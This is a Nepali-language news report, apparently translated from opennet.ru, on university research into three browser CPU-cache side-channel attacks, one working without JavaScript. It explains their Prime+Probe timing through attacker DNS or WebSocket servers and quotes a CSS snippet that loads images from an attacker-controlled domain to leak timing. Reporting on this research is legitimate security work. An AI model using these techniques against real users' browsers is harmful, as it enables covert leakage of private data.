जाभास्क्रिप्ट बिना वेब ब्राउजरमा CPU क्यास निकासी आक्रमण लागू गरियो

धेरै अमेरिकी, इजरायली र अष्ट्रेलियाली विश्वविद्यालयहरूका अनुसन्धानकर्ताहरूको टोलीले प्रोसेसर क्यासको सामग्रीहरूको बारेमा जानकारी निकाल्न वेब ब्राउजरहरूमा चल्ने तीन आक्रमणहरू विकास गरेको छ। एउटा विधिले जाभास्क्रिप्ट बिना ब्राउजरहरूमा काम गर्दछ, र अन्य दुईवटा टोर ब्राउजर र डेटरफक्समा प्रयोग गरिएका साइड-च्यानल आक्रमणहरू विरुद्ध सुरक्षाको विद्यमान विधिहरूलाई बाइपास गर्दछ। आक्रमणहरू प्रदर्शन गर्नको लागि कोड, साथै आक्रमणहरूको लागि आवश्यक सर्भर घटकहरू, GitHub मा प्रकाशित छन्।

क्यासका सामग्रीहरू विश्लेषण गर्न, सबै आक्रमणहरूले प्राइम+प्रोब विधि प्रयोग गर्दछ, जसमा मानहरूको मानक सेटको साथ क्यास भर्ने र तिनीहरूलाई रिफिल गर्दा पहुँच समय मापन गरेर परिवर्तनहरू पत्ता लगाउने समावेश छ। सही समय मापनमा हस्तक्षेप गर्ने ब्राउजरहरूमा उपस्थित सुरक्षा संयन्त्रहरूलाई बाइपास गर्न, दुई विकल्पहरूमा, आक्रमणकर्ताद्वारा नियन्त्रित DNS वा WebSocket सर्भरमा अपील गरिन्छ, जसले प्राप्त अनुरोधहरूको समयको लग राख्छ। एउटा अवतारमा, एक निश्चित DNS प्रतिक्रिया समय समय सन्दर्भको रूपमा प्रयोग गरिन्छ।

मेसिन लर्निङमा आधारित वर्गीकरण प्रणाली प्रयोग गरी बाह्य DNS वा WebSocket सर्भरहरू प्रयोग गरेर बनाइएका मापनहरू, सबैभन्दा इष्टतम परिदृश्य (औसत 98-80%) मा 90% सम्मको शुद्धताका साथ मानहरू भविष्यवाणी गर्न पर्याप्त थिए। आक्रमण विधिहरू विभिन्न हार्डवेयर प्लेटफर्महरू (Intel, AMD Ryzen, Apple M1, Samsung Exynos) मा परीक्षण गरिएका छन् र विश्वव्यापी रूपमा प्रमाणित भएका छन्।

DNS रेसिङ आक्रमणको पहिलो संस्करणले JavaScript arrays प्रयोग गरेर प्राइम+प्रोब विधिको क्लासिक कार्यान्वयन प्रयोग गर्दछ। भिन्नताहरू बाहिरी DNS-आधारित टाइमर र एक त्रुटि ह्यान्डलरको प्रयोगमा उबलिन्छ, जुन अस्तित्वमा नभएको डोमेनबाट छवि लोड गर्ने प्रयास गर्दा ट्रिगर हुन्छ। बाह्य टाइमरले जाभास्क्रिप्ट टाइमरहरूमा पहुँच सीमित वा पूर्ण रूपमा असक्षम गर्ने ब्राउजरहरूमा प्राइम+प्रोब आक्रमणको लागि अनुमति दिन्छ।

एउटै इथरनेट नेटवर्कमा अवस्थित DNS सर्भरको लागि, टाइमरको शुद्धता लगभग 2 एमएस हुने अनुमान गरिएको छ, जुन साइड-च्यानल आक्रमण गर्न पर्याप्त छ (तुलनाको लागि, टोर ब्राउजरमा मानक जाभास्क्रिप्ट टाइमरको शुद्धता हो। 100 ms मा घटाइयो)। आक्रमणको लागि, DNS सर्भरमा नियन्त्रण आवश्यक छैन, किनकि सञ्चालनको कार्यान्वयन समय चयन गरिएको छ ताकि DNS बाट प्रतिक्रिया समयले जाँचको अघिल्लो समापनको संकेतको रूपमा कार्य गर्दछ (अनएरर ह्यान्डलर ट्रिगर गरिएको थियो कि छैन भन्नेमा निर्भर गर्दछ। पहिले वा पछि, क्यासको साथ चेक अपरेशनको गतिको बारेमा निष्कर्ष निकालिएको छ)।

दोस्रो आक्रमण विधि, "स्ट्रिङ र सॉक" ले जाभास्क्रिप्टमा एरेहरूको कम-स्तरको प्रयोगलाई प्रतिबन्धित गर्ने सुरक्षा प्रविधिहरूलाई बाइपास गर्ने लक्ष्य राख्छ। arrays को सट्टा, String र Sock ले धेरै ठूला स्ट्रिङहरूमा अपरेशनहरू प्रयोग गर्दछ, जसको साइज छनोट गरिन्छ ताकि चरले सम्पूर्ण LLC क्यास (अन्तिम स्तर क्यास) लाई कभर गर्दछ। अर्को, indexOf() प्रकार्य प्रयोग गरेर, स्ट्रिङमा एउटा सानो सबस्ट्रिङ खोजिन्छ, जुन सुरुमा स्रोत स्ट्रिङमा अनुपस्थित हुन्छ, अर्थात्। खोज अपरेसनले सम्पूर्ण स्ट्रिङमा दोहोरिने परिणाम दिन्छ। लाइन साइज LLC क्यासको साइजसँग मेल खान्छ, स्क्यानिङले तपाईंलाई एरेहरू हेरफेर नगरी क्यास जाँच सञ्चालन गर्न अनुमति दिन्छ। ढिलाइ नाप्नको लागि, DNS को सट्टा, आक्रमणकर्ता द्वारा नियन्त्रित वेबसकेट सर्भरमा कल गरिन्छ - खोज कार्य पूरा हुनु अघि र पछि, प्रश्नहरू लाइनमा पठाइन्छ, जसको आधारमा सर्भरले क्यास विश्लेषण गर्न प्रयोग गरिएको ढिलाइ गणना गर्दछ। सामग्री।

"CSS PP0" आक्रमणको तेस्रो संस्करण HTML र CSS मार्फत लागू गरिएको छ, र JavaScript असक्षम भएका ब्राउजरहरूमा काम गर्न सक्छ। विधि "स्ट्रिङ र सॉक" जस्तै छ, तर जाभास्क्रिप्टमा बाँधिएको छैन। आक्रमणको समयमा, CSS चयनकर्ताहरूको सेट उत्पन्न हुन्छ जुन मास्कद्वारा खोजी गरिन्छ। क्यास भर्ने प्रारम्भिक ठूलो स्ट्रिङ धेरै ठूलो वर्ग नामको साथ div ट्याग सिर्जना गरेर सेट गरिएको छ। भित्र तिनीहरूको आफ्नै पहिचानकर्ताहरूसँग अन्य divs को सेट छ। यी प्रत्येक नेस्टेड divs को एक चयनकर्ताको साथ आफ्नै शैली छ जसले सबस्ट्रिङ खोज्छ। पृष्ठ रेन्डर गर्दा, ब्राउजरले पहिले भित्री डिभहरू प्रशोधन गर्ने प्रयास गर्छ, जसले ठूलो पङ्क्तिमा खोजी कार्यमा परिणाम दिन्छ। खोज एक जानाजानी हराएको मास्क प्रयोग गरी प्रदर्शन गरिन्छ र सम्पूर्ण रेखामा दोहोर्याउन जान्छ, जस पछि "होइन" अवस्था ट्रिगर हुन्छ र अनियमित डोमेन सन्दर्भ गर्ने पृष्ठभूमि छवि लोड गर्ने प्रयास गरिन्छ: #pp:not([class*=’xjtoxg’]) #s0 {background-image: url(«https://qdlvibmr.helldomain.oy.ne.ro»);} #pp:not([class*=’gzstxf’]) #s1 {background-image: url(«https://licfsdju.helldomain.oy.ne.ro»);} … X X ...

सबडोमेनहरू आक्रमणकर्ताको DNS सर्भरद्वारा सेवा गरिन्छ, जसले अनुरोधहरू प्राप्त गर्न ढिलाइ मापन गर्न सक्छ। DNS सर्भरले सबै अनुरोधहरूको लागि NXDOMAIN जारी गर्दछ र अनुरोधहरूको सही समयको लग राख्छ। divs को एक सेट को प्रशोधन को परिणाम को रूप मा, आक्रमणकर्ता को DNS सर्भर अनुरोध को एक श्रृंखला प्राप्त गर्दछ, जो बीचको ढिलाइ क्यास सामग्री को जाँच को परिणाम संग सम्बन्धित छ।

स्रोत: opennet.ru